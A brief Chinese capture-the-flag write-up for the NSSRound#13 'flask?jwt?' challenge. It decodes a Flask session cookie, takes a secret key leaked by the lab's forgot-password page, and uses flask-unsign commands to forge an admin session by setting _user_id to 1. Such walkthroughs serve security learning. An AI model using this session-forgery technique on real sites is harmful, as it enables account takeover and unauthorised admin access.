NSS [NSSRound#13 Basic]flask?jwt?

开题

注册一下

要admin才能拿flag

看看是如何进行身份验证的

是flask session

flask-unsign --decode --cookie '.eJwtzjESwyAMBMC_UKfghJCEP-MRICZp7bjK5O9xkX6L_aR9HXE-0_Y-rnik_TXTlsiXEhUXleKGGGuG1jbmogrCEmNirZ7BEB-VJbTfIi-26hQDvWFyzsFdIdHMTYgROayNkqGlUs1Yzh2CojaBzlYmm1houiPXGcd_k74_WpMthA.Zp5C_A.O2TQEvcblnODCPckOFz4M63OVvE'

找一下密钥，在忘记密码功能处找到了。secretkey: th3f1askisfunny

伪造一下，_user_id改成1

flask-unsign --sign --cookie "{'_fresh': True, '_id': '2af7223a6763a81ecfde759cdf25121f6842475a01416ac546e7be750f485a2ec1b91d400e4b716e98a86241e0e89c3017352501fa4b161378d11b483d4868e7', '_user_id': '1'}" --secret 'th3f1askisfunny'